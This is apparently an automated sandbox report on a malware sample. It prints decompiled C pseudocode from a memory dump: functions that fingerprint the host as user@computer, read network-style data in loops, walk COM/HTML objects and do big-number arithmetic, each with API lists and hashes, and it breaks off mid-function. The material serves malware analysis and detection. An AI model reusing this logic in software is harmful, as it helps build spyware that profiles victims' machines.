0x04a81b61
0x04a81b6e
0x04a81b6e
0x04a81b79
0x04a81b7b
0x04a81b85
0x04a81b8a
0x04a81b8a
0x04a81b85
0x04a81b91
0x04a81ba7
0x04a81b93
0x04a81b93
0x04a81ba0
0x04a81ba0
0x04a81bab
0x04a81bad
0x04a81bb7
0x04a81bbc
0x04a81bbc
0x04a81bb7
0x04a81bc3
0x04a81bd9
0x04a81bc5
0x04a81bc5
0x04a81bd2
0x04a81bd2
0x04a81bdd
0x04a81bdf
0x04a81be9
0x04a81bee
0x04a81bee
0x04a81be9
0x04a81bf5
0x04a81c0b
0x04a81bf7
0x04a81bf7
0x04a81c04
0x04a81c04
0x04a81c0f
0x04a81c11
0x04a81c14
0x04a81c15
0x04a81c1c
0x04a81c1e
0x04a81c1f
0x04a81c1f
0x04a81c1c
0x04a81c26
0x04a81c3c
0x04a81c28
0x04a81c28
0x04a81c35
0x04a81c35
0x04a81c40
0x04a81c4e
0x04a81c58
0x04a81c58
0x04a81c65
0x04a81c71
0x04a81c71

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81B1D
StrToIntExA.SHLWAPI(00000000,00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81B4F
StrToIntExA.SHLWAPI(00000000,00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81B81
StrToIntExA.SHLWAPI(00000000,00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81BB3
StrToIntExA.SHLWAPI(00000000,00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81BE5
HeapFree.KERNEL32(00000000,?,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40,?,?,?,04A89032), ref: 04A81C65

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7b12a42253004285d75c519a8d488b9766175cadd543b725437225c21d89f71e
Instruction ID: 8de5109d0d420469be69e53f6fe9bc5d1513ae635b5d0936401f806acc056a00
Opcode Fuzzy Hash: 7b12a42253004285d75c519a8d488b9766175cadd543b725437225c21d89f71e
Instruction Fuzzy Hash: A05154F1B10104ABEB20FBB59D88D6BB6FDEBA8754728092DA402D7144FA34FD439620

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A3AA, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8A3AA() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E04A86B2A(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E04A89A1A(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4a83e18
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x04a8a3b8
0x04a8a3bb
0x04a8a3be
0x04a8a3c4
0x04a8a3c9
0x04a8a3cf
0x04a8a3d7
0x04a8a3da
0x04a8a3e0
0x04a8a3e5
0x04a8a3f2
0x04a8a3ff
0x04a8a403
0x04a8a405
0x04a8a409
0x04a8a40c
0x04a8a41c
0x04a8a46e
0x04a8a46f
0x04a8a41e
0x04a8a421
0x04a8a428
0x04a8a42b
0x04a8a43e
0x00000000
0x04a8a440
0x04a8a443
0x04a8a448
0x04a8a456
0x04a8a459
0x04a8a461
0x04a8a464
0x00000000
0x04a8a466
0x04a8a466
0x04a8a469
0x04a8a469
0x04a8a464
0x04a8a43e
0x04a8a474
0x04a8a475
0x04a8a3e5
0x04a8a47b

APIs

GetUserNameW.ADVAPI32(00000000,04A83E16), ref: 04A8A3BE
GetComputerNameW.KERNEL32(00000000,04A83E16), ref: 04A8A3DA

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

GetUserNameW.ADVAPI32(00000000,04A83E16), ref: 04A8A414
GetComputerNameW.KERNEL32(04A83E16,?), ref: 04A8A436
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04A83E16,00000000,04A83E18,00000000,00000000,?,?,04A83E16), ref: 04A8A459

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: d1ae1d48d9a7dd56eeb9b35e1317f6db937e9e0c72b06785edbeab5f19723246
Instruction ID: d3d071cc0515c23ef10f2b08a3cb32c20cf215904bb3504f039f9ae30e8e6163
Opcode Fuzzy Hash: d1ae1d48d9a7dd56eeb9b35e1317f6db937e9e0c72b06785edbeab5f19723246
Instruction Fuzzy Hash: 5321B9B6900109FF9B11DFA9D9898EEBBB8EF44344B50846AE505E7240E734AF45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04A8908A, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04A8908A(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04A86ECC(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E04A8A93F(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x4a8d13c() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x04a8908a
0x04a89097
0x04a89099
0x04a890fc
0x00000000
0x04a890fc
0x04a890b1
0x04a890b8
0x04a890c4
0x04a890c9
0x04a890cb
0x04a890cd
0x04a890cf
0x04a890d1
0x04a890d3
0x04a890df
0x04a890ef
0x00000000
0x04a890e1
0x04a890e1
0x04a890e8
0x04a890f5
0x04a890f5
0x04a890f5
0x04a890e8
0x04a890df
0x04a890fa
0x00000000
0x00000000
0x04a89100

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,04A82200,?,?,00000000,00000000), ref: 04A890C4
ResetEvent.KERNEL32(?), ref: 04A890C9
GetLastError.KERNEL32 ref: 04A890E1
GetLastError.KERNEL32(?,?,00000102,04A82200,?,?,00000000,00000000), ref: 04A890FC

Part of subcall function 04A86ECC: lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,04A890A9,?,?,?,?,00000102,04A82200,?,?,00000000), ref: 04A86ED8
Part of subcall function 04A86ECC: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04A890A9,?,?,?,?,00000102,04A82200,?), ref: 04A86F36
Part of subcall function 04A86ECC: lstrcpy.KERNEL32(00000000,00000000), ref: 04A86F46

SetEvent.KERNEL32(?), ref: 04A890EF

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 0ef3e3606965c88b54cf9675232008a63319e8ac4c258cc4325fe6cddc43dc26
Instruction ID: ba29d6aa2395beb3256b29c124cbddeda399a0b3d194c84b24177444fc5e1712
Opcode Fuzzy Hash: 0ef3e3606965c88b54cf9675232008a63319e8ac4c258cc4325fe6cddc43dc26
Instruction Fuzzy Hash: 93016D71104611AAFB31BF31DC88B6BBABCEF44764F20462DF491910E0DA21F805DA22

Uniqueness

Uniqueness Score: -1.00%

Function 04A83B05, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E04A83B05(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x4a8d27c; // 0xa9a5a8
					_t5 = _t102 + 0x4a8e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x4a8c298);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x4a8d27c; // 0xa9a5a8
												_t28 = _t108 + 0x4a8e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x4a8d27c; // 0xa9a5a8
														_t33 = _t78 + 0x4a8e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x04a83b0a
0x04a83b13
0x04a83b14
0x04a83b18
0x04a83b1e
0x04a83b24
0x04a83b2d
0x04a83b33
0x04a83b3d
0x04a83b3f
0x04a83b45
0x04a83b4a
0x04a83b55
0x04a83b5d
0x04a83b60
0x04a83c83
0x04a83b66
0x04a83b66
0x04a83b73
0x04a83b79
0x04a83b7f
0x04a83b83
0x04a83b89
0x04a83b96
0x04a83b9a
0x04a83ba0
0x04a83ba3
0x04a83ba9
0x04a83baf
0x04a83bb5
0x04a83bb8
0x04a83bbb
0x04a83bc1
0x04a83bca
0x04a83bd0
0x04a83bd1
0x04a83bd4
0x04a83bd5
0x04a83bd6
0x04a83bde
0x04a83bdf
0x04a83be0
0x04a83be2
0x04a83be6
0x04a83bea
0x00000000
0x00000000
0x04a83bf0
0x04a83bf9
0x04a83bff
0x04a83c09
0x04a83c0d
0x04a83c0f
0x04a83c1c
0x04a83c20
0x04a83c28
0x04a83c2d
0x04a83c3f
0x04a83c41
0x04a83c47
0x04a83c47
0x04a83c50
0x04a83c50
0x04a83c52
0x04a83c58
0x04a83c58
0x04a83c5b
0x04a83c61
0x04a83c64
0x04a83c6d
0x00000000
0x00000000
0x00000000
0x04a83c6d
0x04a83bc1
0x04a83bbb
0x04a83ba3
0x04a83c73
0x04a83c73
0x04a83c79
0x04a83c79
0x04a83c7f
0x04a83c7f
0x04a83c88
0x04a83c8e
0x04a83c8e
0x04a83b4a
0x04a83c97

APIs

SysAllocString.OLEAUT32(04A8C298), ref: 04A83B55
lstrcmpW.KERNEL32(00000000,0076006F), ref: 04A83C37
SysFreeString.OLEAUT32(00000000), ref: 04A83C50
SysFreeString.OLEAUT32(?), ref: 04A83C7F

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 62500b48f190a196616406bc22f9d72fb6606724f83a29e6876b117b3efaf3a9
Instruction ID: 7f2c2d29a7063b1c6a0a8cc1d5b1d8433679ca30be04d3bd5f9bf31cc0de9f77
Opcode Fuzzy Hash: 62500b48f190a196616406bc22f9d72fb6606724f83a29e6876b117b3efaf3a9
Instruction Fuzzy Hash: 5B5130B5D00509EFCF00EFA8C5888AEB7B9FF89704B148598ED15EB210D772AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A85DB8, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04A85DB8(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04A89A2F(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04A85CC1(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E04A86631(_t101,  &_v236, _a8, _t96 - _t81);
					E04A86631(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E04A85CC1(_t101, 0x4a8d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04A85CC1(_a16, _a4);
						E04A835E6(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04A8B058();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04A8B052();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E04A88143(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E04A83AD3(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04A89EF8(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4a8d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x04a85dbb
0x04a85dc7
0x04a85dcd
0x04a85dd2
0x04a85dd6
0x04a85f33
0x04a85f37
0x04a85f37
0x04a85ddc
0x04a85de0
0x04a85de6
0x04a85de7
0x04a85df2
0x04a85df8
0x04a85dfd
0x04a85e00
0x04a85e1a
0x04a85e26
0x04a85e2f
0x04a85e39
0x04a85e3e
0x04a85e40
0x04a85e43
0x04a85ef1
0x04a85ef7
0x04a85f08
0x04a85f1b
0x04a85f2b
0x00000000
0x04a85f30
0x04a85e4c
0x04a85e53
0x04a85e57
0x04a85e5d
0x04a85e5f
0x04a85e61
0x04a85e63
0x04a85e65
0x04a85e6f
0x04a85e74
0x04a85e76
0x04a85e78
0x04a85e79
0x04a85e7a
0x04a85e7b
0x04a85e82
0x04a85e89
0x04a85e8c
0x04a85e8c
0x04a85e59
0x04a85e59
0x04a85e59
0x04a85e94
0x04a85e9c
0x04a85ea5
0x04a85eaa
0x04a85eaa
0x04a85eaf
0x00000000
0x00000000
0x04a85eb1
0x04a85eb4
0x04a85ebe
0x00000000
0x00000000
0x04a85ec0
0x04a85ec0
0x04a85eca
0x04a85eaa
0x04a85eaf
0x00000000
0x00000000
0x00000000
0x04a85eaf
0x04a85ed4
0x04a85ed7
0x04a85eda
0x04a85ee1
0x04a85ee1
0x04a85eee
0x00000000
0x04a85eee
0x04a85de9
0x04a85ded
0x04a85dee
0x04a85df0
0x00000000
0x00000000
0x00000000
0x04a85df0
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 04A85E65
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04A85E7B
memset.NTDLL ref: 04A85F1B
memset.NTDLL ref: 04A85F2B

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 4bc742fe0a1d59438de3b8992d86c2ea1e3f51b887be0fd1577f5d1fe1f13e9f
Instruction ID: e81e491098225c718bdf3f6b8ac875cf3f9d47ece87e6aebf72491946198d0f8
Opcode Fuzzy Hash: 4bc742fe0a1d59438de3b8992d86c2ea1e3f51b887be0fd1577f5d1fe1f13e9f
Instruction Fuzzy Hash: 3F418E71A00249ABEB10EFA8DD80BEE7779EF45714F10852DED1AA7180DA70BA558B50

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A93F, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,76D24D40), ref: 04A8A951

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

ResetEvent.KERNEL32(?), ref: 04A8A9C5
GetLastError.KERNEL32 ref: 04A8A9E8
GetLastError.KERNEL32 ref: 04A8AA93

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 930c4f3fc9a356d8c6a4d36ad8ca52f912e942617421b2c87612519199c5851e
Instruction ID: fedb5c14b7c63653cf8fcf9e5631c08a070386ee3a8fb8c01f2e2df33de1660f
Opcode Fuzzy Hash: 930c4f3fc9a356d8c6a4d36ad8ca52f912e942617421b2c87612519199c5851e
Instruction Fuzzy Hash: A2417D71500204BBE721AFA1DD48EABBBBDEF95704F14892EF152E1490E775AA05CB30

Uniqueness

Uniqueness Score: -1.00%

Function 04A864A3, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E04A864A3(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x4a8d140() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x4a8d168(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E04A86B2A(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x4a8d140() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E04A8A595( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E04A89A1A(_v16);
										if(_t64 == 0) {
											_t64 = E04A81ED9(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E04A8A595( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E04A86CA3(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x04a864a3
0x04a864a4
0x04a864aa
0x04a864b5
0x04a864b5
0x04a864b7
0x04a86510
0x04a86515
0x04a86517
0x04a8651c
0x04a8651d
0x04a86522
0x04a86523
0x04a8652e
0x04a8655f
0x04a86564
0x04a86627
0x04a8656a
0x04a86571
0x04a86579
0x04a86624
0x04a8657f
0x04a86584
0x04a8658b
0x04a8658e
0x04a86616
0x04a86594
0x04a86594
0x04a86596
0x04a8659c
0x04a8659d
0x04a8659d
0x04a865a0
0x04a865a3
0x04a865a9
0x04a865ae
0x04a865af
0x04a865b4
0x04a865b7
0x04a865c2
0x00000000
0x00000000
0x04a865ca
0x04a865d2
0x04a865de
0x04a865e2
0x04a865e4
0x04a865e9
0x00000000
0x00000000
0x04a865e9
0x04a865e2
0x04a865fb
0x04a865fe
0x04a86605
0x04a86610
0x04a86610
0x00000000
0x04a865eb
0x04a865eb
0x04a865f0
0x04a865f2
0x04a865f3
0x04a865f6
0x00000000
0x04a865f6
0x00000000
0x04a865f0
0x04a8659d
0x04a86617
0x04a86617
0x04a8661d
0x04a8661d
0x04a86579
0x04a86530
0x04a86536
0x04a8653e
0x04a86557
0x04a86559
0x00000000
0x00000000
0x04a86540
0x04a8654a
0x04a8654e
0x04a86554
0x00000000
0x04a86554
0x04a8654e
0x04a8653e
0x04a86630
0x04a864ac
0x04a864ac
0x04a864b3
0x04a864be
0x00000000
0x00000000
0x00000000
0x04a864b3

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,76D681D0), ref: 04A86517
GetLastError.KERNEL32(?,?,?,00000000,76D681D0), ref: 04A86530
ResetEvent.KERNEL32(?), ref: 04A865A9
GetLastError.KERNEL32 ref: 04A865C4

Part of subcall function 04A86CA3: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,76D681D0), ref: 04A86CBA
Part of subcall function 04A86CA3: SetEvent.KERNEL32(?), ref: 04A86CCA

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: ced0f53df356606b84416792f934ab3bd75005f8cf21134dd7cfd14c8296315c
Instruction ID: d8a017770f63093217189e6e3aefcd3ab3480bd50690c13cc1d4bc146fe5debe
Opcode Fuzzy Hash: ced0f53df356606b84416792f934ab3bd75005f8cf21134dd7cfd14c8296315c
Instruction Fuzzy Hash: 5E41C432600604EFEB25BFA5DC44A6EB7BAEF98364F10452CE551D7190EB70F9429B10

Uniqueness

Uniqueness Score: -1.00%

Function 04A86CA3, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04A86CA3(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
